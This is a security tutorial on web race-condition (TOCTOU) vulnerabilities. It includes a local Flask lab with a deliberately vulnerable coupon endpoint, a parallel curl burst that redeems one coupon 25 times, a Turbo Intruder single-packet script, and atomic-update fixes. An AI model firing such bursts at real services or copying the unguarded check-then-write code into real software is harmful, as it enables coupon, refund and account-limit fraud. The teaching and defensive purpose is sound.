Skip to main content

Race Conditions Explained: Attack Examples & Prevention

A race condition vulnerability lets two or more carefully timed requests collide inside a check-then-use gap, so a single-use coupon redeems 25 times, one invite link creates unlimited accounts, and a rate limit never applies. It is CWE-362 and, in its time-of-check to time-of-use (TOCTOU) form, CWE-367. This guide covers the mechanics, a reproducible local lab, detection, and atomic fixes.

What a race condition is

Race conditions occur when a website processes requests concurrently without adequate synchronization, letting multiple execution threads interact with the same data at the same time. PortSwigger's Web Security Academy defines the attack precisely: a race condition attack uses carefully timed requests to cause intentional collisions and exploit the resulting unintended behavior. The period in which a collision is possible is the race window, often a fraction of a second between two interactions with the database.

The most common exploitable form is a limit overrun: an operation that is supposed to run exactly once (or N times) runs more often, because every colliding request validates against the same stale state. OWASP's Top 10 for Business Logic Abuse project calls this class BLA1:2025 Action Limit Overrun: redeeming a coupon twice, issuing a refund twice, granting a free trial twice, or accepting a single invite more than once.

Two MITRE IDs cover what testers mean by "race condition": CWE-362 (class-level: concurrent execution using a shared resource with improper synchronization), and CWE-367, the time-of-check to time-of-use (TOCTOU) subtype: a resource is validated at check time and assumed unchanged at use time (DNS rebinding against SSRF URL validation is the network flavour of the same bug). CWE-362 made MITRE's 2023 CWE Top 25 list. In web applications the same primitive also appears in non-limit forms: hidden multi-step sequences (session states that exist only between two steps of one request) and partial construction of objects.

Anatomy: the check-then-use window

Consider a one-time discount code. The intended logic is three steps:

  1. Check that this code has not been used yet.
  2. Apply the discount to the order.
  3. Record in the database that the code is now used.

Between step 1 and step 3 the code is in a temporary sub-state: already validated, not yet marked used. Any second request that runs its own step 1 inside that window also sees "unused" and proceeds. Two concurrent requests both pass the check, then both write:

  1. 1. Attacker

    Fires 25 redemptions of one code in a single packet

  2. 2. Application

    Each request checks: code unused → pass

  3. 3. Application

    Each request applies the discount

  4. 4. Database

    Last write wins; the discount was granted 25 times

A limit overrun: every request passes the check before any of them records the redemption.
Thread A                         Thread B
--------                         --------
SELECT redeemed_by FROM coupons  SELECT redeemed_by FROM coupons
WHERE code='X';                  WHERE code='X';
  -> NULL (unused)                 -> NULL (unused)   # both pass the check
        ... multi-step work (payments, I/O, locks) ...
UPDATE coupons SET redeemed_by    UPDATE coupons SET redeemed_by
= 'alice' WHERE code='X';         = 'bob' WHERE code='X';
  -> success                       -> success          # both "redeem" it

Both requests succeed, and the last write silently clobbers the first. As with IDOR, every request is individually valid, so there is no payload signature to match. The application returns "redeemed" to both callers: the discount was granted twice (or twenty-five times) for one code.

The window is usually tiny, which is why race conditions were historically under-reported: requests sent "at the same time" over the network do not reliably arrive at the same time. Network jitter staggers them, so the first request finishes step 3 before the second reaches step 1. PortSwigger research (Black Hat USA 2023) changed that with the single-packet attack: 20–30 HTTP/2 requests are completed inside one TCP packet, eliminating network jitter and making remote race windows as easy to hit as local ones.

The same collision pattern shows up beyond limits. PortSwigger's academy documents hidden multi-step sequences, for example a login handler that creates a session and only then sets an "enforce MFA" flag: a second request raced into that gap reaches authenticated endpoints before MFA is enforced, however strong the second factor, even passkeys. Any single request that transitions the application through a short-lived sub-state is a candidate.

Real-world race condition exploits

IncidentRace condition roleOutcome
CVE-2024-2913: anything-llm invite acceptanceThe invite-acceptance API does not lock invite tokens atomically. Concurrent requests against one invite link each pass the "unused" check.Multiple user accounts created from a single-user invite link, bypassing the intended restriction. CWE-367, CVSS 6.5 (medium), published 2024-05-07.
CVE-2024-53476: SimplCommerce checkoutSimultaneous purchase requests from multiple accounts for the same product bypass inventory tracking: stock is read, then decremented, with no atomic guard between the two.Overselling when stock is limited. CWE-362, CVSS 5.9 (medium), published 2024-12-27.
Single-use coupons, gift cards, refunds, trials (class)The canonical Action Limit Overrun pattern documented by OWASP BLA1:2025 and PortSwigger: check balance/usage, apply, then record usage, in separate steps.Free goods or repeated payouts from one code or balance; rating and CAPTCHA reuse; anti-brute-force rate limits bypassed.

Bug-bounty programs treat these as high-impact business-logic findings even when no CVE exists, because the loss is direct: one coupon code, gift card, or invite is a finite asset, and the race duplicates it.

Reproducible local lab

Everything below runs in local containers on your machine, with no live targets. The lab is a Flask app backed by SQLite with two endpoints: a vulnerable single-use coupon redemption and a fixed one. SQLite is a deliberate choice: it serializes the writes but not the checks, which is exactly how the bug works at scale.

docker-compose.yml

services:
  race-lab:
    build: .
    ports:
      - "127.0.0.1:8080:8080"

Dockerfile

FROM python:3.12-slim
WORKDIR /app
RUN pip install --no-cache-dir flask
COPY app.py .
EXPOSE 8080
CMD ["python", "app.py"]

app.py: vulnerable and fixed redemption endpoints

import sqlite3
import time
from datetime import datetime, timezone

from flask import Flask, jsonify, request

app = Flask(__name__)
DB = "lab.db"


def db():
    conn = sqlite3.connect(DB, timeout=10)
    conn.row_factory = sqlite3.Row
    return conn


def init_db():
    conn = db()
    conn.executescript(
        """
        CREATE TABLE IF NOT EXISTS coupons (
            code TEXT PRIMARY KEY,
            value_cents INTEGER NOT NULL,
            redeemed_by TEXT,
            redeemed_at TEXT
        );
        """
    )
    conn.execute(
        "INSERT OR IGNORE INTO coupons (code, value_cents) VALUES ('LAB-COUPON-0001', 2500)"
    )
    conn.commit()
    conn.close()


def request_params():
    if request.is_json:
        return request.json
    return request.form


init_db()


@app.post("/redeem")
def redeem():
    """Vulnerable: check-then-use with a real delay between check and write."""
    data = request_params()
    code = data.get("code")
    user = data.get("user")

    conn = db()
    row = conn.execute(
        "SELECT * FROM coupons WHERE code = ?", (code,)
    ).fetchone()
    if row is None or row["redeemed_by"] is not None:
        conn.close()
        return jsonify({"ok": False, "reason": "unknown or already redeemed"}), 400

    # Widens the race window. In a real app this gap is filled by slow
    # multi-step logic: payment calls, email lookups, other I/O.
    time.sleep(0.15)

    conn.execute(
        "UPDATE coupons SET redeemed_by = ?, redeemed_at = ? WHERE code = ?",
        (user, datetime.now(timezone.utc).isoformat(), code),
    )
    conn.commit()
    conn.close()
    return jsonify({"ok": True, "value_cents": row["value_cents"]})


@app.post("/redeem-fixed")
def redeem_fixed():
    """Fixed: guard and mutation are one atomic conditional UPDATE."""
    data = request_params()
    code = data.get("code")
    user = data.get("user")

    conn = db()
    cur = conn.execute(
        "UPDATE coupons SET redeemed_by = ?, redeemed_at = ? "
        "WHERE code = ? AND redeemed_by IS NULL",
        (user, datetime.now(timezone.utc).isoformat(), code),
    )
    conn.commit()
    ok = cur.rowcount == 1
    conn.close()
    if not ok:
        return jsonify({"ok": False, "reason": "unknown or already redeemed"}), 400
    return jsonify({"ok": True, "value_cents": 2500})


if __name__ == "__main__":
    app.run(host="0.0.0.0", port=8080, threaded=True)

Run it

docker compose up --build -d

The coupon row lives in the container's filesystem. To reset state between attempts: docker compose down then docker compose up --build -d again.

Sequential control: the check works when requests do not collide

$ curl -s -X POST -H 'Content-Type: application/json' \
    -d '{"code":"LAB-COUPON-0001","user":"alice@example.com"}' \
    http://localhost:8080/redeem
{"ok":true,"value_cents":2500}

$ curl -s -X POST -H 'Content-Type: application/json' \
    -d '{"code":"LAB-COUPON-0001","user":"mallory@example.com"}' \
    http://localhost:8080/redeem
{"ok":false,"reason":"unknown or already redeemed"}

One request at a time, the logic is correct: first use succeeds, the second is rejected. This is why the bug survives casual testing.

Exploit: 25 parallel requests, one coupon code

$ seq 1 25 | xargs -P25 -I{} curl -s -X POST -H 'Content-Type: application/json' \
    -d '{"code":"LAB-COUPON-0001","user":"mallory-{}@example.com"}' \
    http://localhost:8080/redeem | grep -c '"ok":true'
25

All 25 requests returned success for one single-use coupon. On a real store that is 25 free orders. Every thread read redeemed_by IS NULL before any thread wrote. The sleep merely widens a window that real multi-step logic (payment provider calls, order creation, email) provides naturally.

Fixed: the same burst against /redeem-fixed

$ docker compose down && docker compose up --build -d   # reset state

$ seq 1 25 | xargs -P25 -I{} curl -s -X POST -H 'Content-Type: application/json' \
    -d '{"code":"LAB-COUPON-0001","user":"mallory-{}@example.com"}' \
    http://localhost:8080/redeem-fixed | grep -c '"ok":true'
1

Exactly one request wins. The guard (AND redeemed_by IS NULL) and the mutation live in one atomic statement, so SQLite serializes them: the first writer flips the row, and the other 24 match zero rows and are rejected.

What does not work (and why that teaches you more)

  • A threading.Lock around the handler fixes the single-process case and does nothing in production, where the app runs many processes (and often many hosts) behind a load balancer. The lock is per-process; the database is the shared truth.
  • A second SELECT before writing (double-checking) changes nothing: both checks still read pre-update state. The guard only becomes meaningful when it is part of the write.
  • Rate limiting the endpoint reduces throughput but does not close the window: the collision happens inside one processing burst, which is exactly what a rate limiter allows.
  • Rollback journal vs WAL mode changes SQLite's locking details but not the result: in both modes the unguarded check-then-write pattern races. The fix is the atomic statement, not the journal mode.

How to detect race condition vulnerabilities

Black-box detection follows PortSwigger's predict-probe-prove methodology from the "Smashing the state machine" whitepaper:

  1. Predict: enumerate endpoints that read and then mutate the same state: single-use codes (coupons, invites, gift cards, CAPTCHA), limit-gated actions (votes, likes, signups, wallet top-ups, password/email change, transfer), and multi-step auth or recovery flows.
  2. Probe: send a burst of 20–30 identical requests and look for an anomalous number of successes. In the lab above the signal is stark: 25 successes where the business rule allows 1.
  3. Prove: replay the winning request once, sequentially. If it now fails, you have confirmed a race window rather than a genuinely repeatable flaw.

Delivering the burst: HTTP/1.1 vs HTTP/2

Over HTTP/1.1, open many parallel TCP connections and synchronize their final bytes (last-byte sync). Over HTTP/2, use the single-packet attack: queue the requests on one connection, withhold the final fragment of each, then release them so the OS coalesces them into a single TCP packet, so 20–30 requests arrive and are processed effectively simultaneously. Burp Suite Repeater's send-group tab does both automatically. For scripting, Turbo Intruder's race-single-packet-attack.py template is the reference implementation:

def queueRequests(target, wordlists):
    engine = RequestEngine(
        endpoint=target.endpoint,
        concurrentConnections=1,
        engine=Engine.BURP2        # requires HTTP/2
    )
    # queue 20 requests in gate '1'
    for i in range(20):
        engine.queue(target.req, gate='1')
    # send all requests in gate '1' in parallel
    engine.openGate('1')

The equivalent without tooling (a parallel curl burst) is what the lab exploit above uses. It works locally and over HTTP/1.1; for remote HTTP/2 targets, invest in the single-packet tooling, because naive parallel requests will usually miss the window.

Code review signals

  • Read state, then write it later, with an await, network call, sleep, or another statement in between, without a transaction or lock.
  • Usage flags (used, redeemed, claimed, verified, consumed) flipped after the action they gate, instead of atomically with it.
  • Balance/limit math done in application code instead of a guarded single statement in the datastore.
  • Hand-rolled counters where a uniqueness constraint or an idempotency key would express the rule.
  • Session or token state written in several steps (session created, MFA flag set later, role assigned then downgraded).

Static analysis has poor coverage here: there is no taint edge to track, only a timing relationship between a read and a write. Treat race-condition detection as a manual review + DAST problem, not a SAST rule.

How to fix race conditions

PortSwigger's guidance distills to one principle: eliminate sub-states from sensitive endpoints. Make the state change atomic using the datastore's concurrency features, and use datastore integrity features (uniqueness constraints) as defense in depth. Choose a pattern by what the operation does:

PatternMechanismUse whenCaveat
Atomic conditional writeGuard and mutation in one statement: UPDATE ... WHERE ... AND guard. Success equals an affected-row count of one.Default for claims, redeems, decrements, one-time flags.The check must be expressible in the WHERE clause.
Uniqueness constraint / idempotency keyUNIQUE column on the key that must not repeat; second insert violates the constraint.Coupon redemptions, invite acceptances, payment intents, any client-retried operation.Handle the constraint violation as the normal "already done" path, not a 500.
Row lock in a transactionSELECT ... FOR UPDATE (or BEGIN IMMEDIATE in SQLite), then re-check, then write, all in one transaction.Multi-step operations no single statement can express (order + inventory + ledger).Lock ordering and deadlocks; keep transactions short.
Atomic session/auth stateWrite session state (auth, MFA, role) as one consistent batch; never leave a valid-but-half-configured session reachable.Login, MFA enforcement, role assignment, email/credential changes.ORMs can hide transaction boundaries, so know where they commit.
Per-key serializationRoute operations on one key through a single queue or distributed lock.Last resort when the datastore cannot express the rule.Adds a failure domain and latency; a distributed lock is only as good as its lease and fencing.

Python (SQLite): atomic conditional update

This is the exact fix in the lab. The guard is part of the write, so the datastore serializes check and mutation together:

cur = conn.execute(
    "UPDATE coupons SET redeemed_by = ?, redeemed_at = ? "
    "WHERE code = ? AND redeemed_by IS NULL",
    (user, now, code),
)
conn.commit()
if cur.rowcount != 1:
    return "already redeemed", 409

Node.js (Postgres): same pattern

const result = await pool.query(
  `UPDATE coupons
     SET redeemed_by = $1, redeemed_at = now()
   WHERE code = $2 AND redeemed_by IS NULL`,
  [user, code]
);
if (result.rowCount !== 1) return res.status(409).end();

Postgres: row lock for multi-step transactions

BEGIN;

-- Lock the coupon row: concurrent transactions block here until commit.
SELECT value_cents FROM coupons
WHERE code = $1 AND redeemed_by IS NULL
FOR UPDATE;

-- Re-check inside the transaction, then do the multi-step work
-- (apply discount, create order, write ledger) and commit.
UPDATE coupons SET redeemed_by = $2 WHERE code = $1 AND redeemed_by IS NULL;

COMMIT;

Idempotency keys: make replay safe instead of forbidden

For payment-adjacent operations the client should be able to retry safely. A unique idempotency-key column turns a duplicate submission into a no-op that returns the stored result:

CREATE TABLE redemptions (
    id              INTEGER PRIMARY KEY,
    code            TEXT NOT NULL,
    redeemed_by     TEXT NOT NULL,
    idempotency_key TEXT NOT NULL UNIQUE,   -- client sends this header
    created_at      TEXT NOT NULL
);

Insert with ON CONFLICT (idempotency_key) DO NOTHING and branch on the affected-row count. 0 means a retry: return the original result and do nothing twice.

Race condition prevention checklist

  • Audit every endpoint whose state is read-then-written: usage flags, limits, balances, single-use codes, invites, votes, session flags.
  • Make the guard part of the write: one atomic statement, not check-then-act in application code.
  • Add a uniqueness constraint or idempotency key wherever "at most once" is the rule, and treat the constraint violation as a normal response.
  • Use row locks inside transactions for multi-step flows; re-check invariants after acquiring the lock.
  • Set session, MFA, and role state atomically, with no reachable "authenticated but MFA not enforced" sub-state.
  • Do not rely on rate limits, per-process locks, or "we only run one instance" to protect shared state.
  • Test with parallel bursts (20–30 requests) against a fresh state, then replay the winner once to prove the window.
  • For HTTP/2 targets use single-packet tooling (Burp send-group or Turbo Intruder), because naive parallel requests miss most remote windows.

Frequently asked questions

What is a race condition vulnerability in a web application?
A race condition (CWE-362) is concurrent requests acting on shared state without adequate synchronization. The most common exploitable form is a TOCTOU limit overrun (CWE-367): several requests pass the same check before any of them records its effect, so a once-only action (a coupon, refund or invite) runs many times.
What is the single-packet attack?
A technique published by PortSwigger research at Black Hat USA 2023: 20–30 HTTP/2 requests are completed inside a single TCP packet, so they reach the server together. It removes network jitter and makes tiny remote race windows reliably exploitable.
How do you fix a race condition?
Make the check and the update one atomic operation: a conditional UPDATE that only succeeds while the resource is still unused, a unique constraint, or a row lock taken before the check. Application-level mutexes do not protect you once the app runs more than one process.
Can race conditions bypass authentication controls?
Yes. If a login handler creates the session before it sets the flag that enforces MFA, a second request raced into that gap reaches authenticated endpoints without the second factor. Any short-lived sub-state inside one request is a candidate.

Kokkuvõte eesti keeles

Võidujooksutõrge (ingl k race condition) tekib siis, kui rakendus töötleb päringuid paralleelselt ilma piisava sünkroniseerimiseta ja mitu päringut jõuavad sama andmehulga juures läbida "kontrolli, siis kasuta" lõhe (TOCTOU, CWE-367) enne, kui ükski neist oleku kirja paneb. Nii saab ühekordse kupongi lunastada 25 korda, ühe kutselingiga luua lõputult kontosid või mööda hiilida piirangutest. Rünne seisneb paljude samaaegsete päringute saatmises kitsasse ajasse; HTTP/2 puhul võimaldab seda single-packet attack. Parandus: valve ja muudatus tuleb panna ühte aatomsesse andmebaasipäringusse (nt UPDATE ... WHERE ... AND redeemed_by IS NULL), kasutada unikaalsuspiirangut või idempotentsusvõtit ning hoida sessiooni oleku üleminekud terviklikena. Täielik laborikäik ja koodinäited on ülal inglise keeles.

Sources

Related Guides

Injection & Deserialization Attacks

Authentication & Access Control

Infrastructure & Configuration Hardening

All security guides by attack family